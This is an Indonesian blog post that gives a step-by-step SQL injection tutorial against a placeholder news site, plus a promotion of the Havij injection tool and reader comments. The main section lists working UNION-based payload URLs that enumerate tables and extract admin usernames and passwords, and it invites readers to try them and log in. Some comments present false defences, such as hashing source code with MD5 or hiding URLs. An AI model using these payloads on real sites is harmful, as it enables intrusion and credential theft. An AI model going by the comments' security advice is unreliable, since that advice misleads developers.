Teknik SQL Injection

Harap dicatat bahwa penulis tidak bertanggung jawab atas segala bentuk efek dari artikel ini, tujuannya hanya untuk pengetahuan saja, jadi silahkan gunakan untuk kebaikan dan keamanan kalian masing2. Pertanyaan yang bersifat “Merusak” tidak akan ditanggapi.  Cara ngehacking web atau biasa disebut web attack sangat banyak caranya, salah satunya dengan cara SQL injection. Apa itu SQL injection ?
SQL injection terjadi ketika attacker bisa meng-insert beberapa SQL statement ke ‘query’ dengan cara manipulasi data input ke applikasi tsb. ini salah satu cara melakukan tekhnik SQL injection, cara ini saya copas dari http://jasakom.comoleh seorang penulis sebut saja cruz3N oke, mari kita simak bersama-sama.
1. Pertama kali yang kita lakukan tentu mencari target. Misalnya target kita kali ini adalah

http://www.target.com/berita.php?id=100

2. Tambahkan karakter ‘ pada akhir url atau menambahkan karakter “-” untuk melihat apakah ada pesan error.
Contoh :

http://www.target.com/berita.php?id=100'

atau

http://www.target.com/berita.php?id=-100

4. Maka akan muncul pesan error…
“You have an error in your SQL syntax.You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to use near ”’
at line 1″ Dan masih banyak lagi macamnya.
5. Next step adalah mencari dan menghitung jumlah table yang ada dalam databasenya…
Disini kita akan menggunakan perintah order by
Contoh :

http://www.target.com/berita.php?id=100+order+by+1/*

Hohoho…apalagi itu “/*” ? Itu adalah karakter penutup perintah SQL atau kita juga bisa pake “–”. Terserah aja…
Kalo “+” sebagai penghubung perintah…
6. Nah sampe sini langsung dah nyobain satu2…

http://www.target.com/berita.php?id=100+order+by+1/* (gak ada error)
http://www.target.com/berita.php?id=100+order+by+2/* (gak ada juga)
http://www.target.com/berita.php?id=100+order+by+3/* (capek dah)
http://www.target.com/berita.php?id=100+order+by+4/* (jangan nyerah)

Sampai muncul error…
Misalkan errornya disini…

http://www.target.com/berita.php?id=100+order+by+10/*

Berarti yang kita ambil adalah “9″

http://www.target.com/berita.php?id=100+order+by+9/*

7. Untuk mengetahui berapa angka yang show sekarang kita pake UNION
Contoh :

http://www.target.com/news.php?id=100+union+select+1,2,3,4,5,6,7,8,9/*

Trus perhatikan angka berapa yang keluar (Kayak togel aja… ;p)
8. Misalnya angka hoki yang keluar adalah “3″ maka yang bisa akan kita lakukan adalah mengecek versi berapa mysql yang dipake dengan perintah “version()” atau “@@version”

http://www.target.com/news.php?id=100+union+select+1,2,version(),4,5,6,7,8,9/*

Atau

http://www.target.com/news.php?id=100+union+select+1,2,@@version,4,5,6,7,8,9/*

9. Nah kalo versinya 5 langsung aja pake perintah “information_schema” untuk melihat tabel dan kolom yang ada pada database…
Contoh :

http://www.target.com/berita.php?id=100+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables/*

Nah katanya kalo untuk melihat tabel-tabel yang lain kita tambahkan LIMIT pada akhir URL. Tapi waktu itu gua gak pake keliatan kok tabelnya…Apa gua salah? Mungkin tapi sekarang yang gua mau jelaskan adalah VERSI DAN PENGALAMAN GUA. Mungkin agak lain…ya maklum lah baru belajar…Hehehe… Misalnya yang lo liat adalah table “admin” Nah sekarang kita liat-liat dulu kolomnya dengan mengganti aja kata “table”-nya…
Contoh:

http://www.target.com/berita.php?id=100+union+select+1,2,column_name,4,5,6,7,8,9+from+information_schema.colums/*

Misalnya kolom yang keluar adalah “password” dan “username”
Langsung aja kita liat isinya…
Contoh :

http://www.target.com/news.php?id=100+union+select+1,username,3,4,5,6,7,8,9+from+admin/*

dan

http://www.target.com/news.php?id=100+union+select+1,password,3,4,5,6,7,8,9+from+admin/*

Bisa diliat dah username ama passwordnya…Tinggal login…Cari yang asik terus…Terserah Anda…
—————————————————
begitulah yang dituliskan disana.
anda masih belum paham tentang apa SQL injection ?
tenang silahkan anda download file dokumen dibawah ini tentang SQL injection step by step.

Download SQL injection step by step.DOC
oke selamat mencoba. yang terpenting jangan dilakukan di web teman anda ataupun di website Lokal.
referensi :
http://jasakom.com
http://ezine.echo.or.id
http://cruzenaldo.co.cc
http://students.ee.itb.ac.id
Catatan: Cara otomatis dengan memakai software bisa juga dilakukan, selengkapnya lihat artikel berikut ini
Atau mau mencoba tool yang baru saya dapatkan? namanya Havij. Adapun fitur2nya:

  1. Supported Databases with injection methods:
    • MsSQL 2000/2005 with error
    • MsSQL 2000/2005 no error (union based)
    • MySQL (union based)
    • MySQL Blind
    • MySQL error based
    • Oracle (union based)
    • MsAccess (union based)
  2. Automatic database detection
  3. Automatic type detection (string or integer)
  4. Automatic keyword detection (finding difference between the positive and negative response)
  5. Trying different injection syntaxes
  6. Proxy support
  7. Real time result
  8. Options for replacing space by /**/,+,… against IDS or filters
  9. Avoid using strings (magic_quotes similar filters bypass)
  10. Bypassing illegal union
  11. Full customizable http headers (like referer and user agent)
  12. Load cookie from site for authentication
  13. Guessing tables and columns in mysql<5 (also in blind) and MsAccess
  14. Fast getting tables and columns for mysql
  15. Multi thread Admin page finder
  16. Multi thread Online MD5 cracker
  17. Getting DBMS Informations
  18. Getting tables, columns and data
  19. Command executation (mssql only)
  20. Reading system files (mysql only)
  21. Insert/update/delete data

Download HAVIJ

Advertisements

9 comments on “Teknik SQL Injection

  1. pak mau tanya untuk mengatasi hal-hal tersebut, bagaimana caranya kita membentengi agar sebuah web tidak bisa di bobol ataupun sulit untuk di tembus?

    Like

    • kode apa dulu? password maksudnya? teknik injection itu memanfaatkan konsep POST & GET di PHP. Biasanya POST & GET kan untuk fungsi Insert, Update, Delete, Jadi injection memanfaatkan itu. Sama seperti Anda menyisipkan 1 lembar kertas ke dalam buku. Jika buku itu tidak Anda masukkan plastik/map, walaupun dalam kondisi buku tertutup, kita masih bisa menyelipkan kertas ke dalamnya. Biasanya seorang web security, untuk mengamankan halaman webnya, seluruh bahasa pemrograman didalamnya di enkrip dengan metode tertentu (MD5, SHA1, dll). Selain aman dari hijacking, juga aman dari pencopyan script.

      Like

    • Kalau untuk CI sebenarnya sama saja. Codeigniter kan sebenarnya pemrograman PHP yang dibuat Objek. DI akademik Pemrograman Berorientasi Objeck dengan PHP ya Codeigniter itu. CI dibentuk dengan membuat modul-modul tertentu dimana ketika kita butuh tinggal diaktifkan, dan ketika tidak dibutuhkan dapat di disable. Konsep pemrogramannya sebenarnya sama. Cara injection nya pun juga relatif sama, hanya saja si hijacking harus tau terlebih dahulu modul apa yang digunakan. Katakanlah halaman Administrator ada di modul_admin. Jika di alamat URL muncul nama modul itu, sangat mudah web di-injeksi.

      Sebenarnya cara yang paling aman dalam menangkal SQL Injection itu sebisa mungkin menyembunyikan apa yang kita buka, yang akan ditampilkan di URL. Contohnya URL http://example.com/mod_admin/index.php. Sebisa mungkin bagaimana ketika kita mengakses halaman tersebut, di URL hanya tertulis http://example.com/. Buka halaman apa saja di web tersebut, URL tetap http://example.com/. itu cara sederhana menangkal SQL Injection, walau masih banyak cara lainnya.

      Like

  2. Pingback: Cara Menangkal SQL Injection | Hendro Wijayanto

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s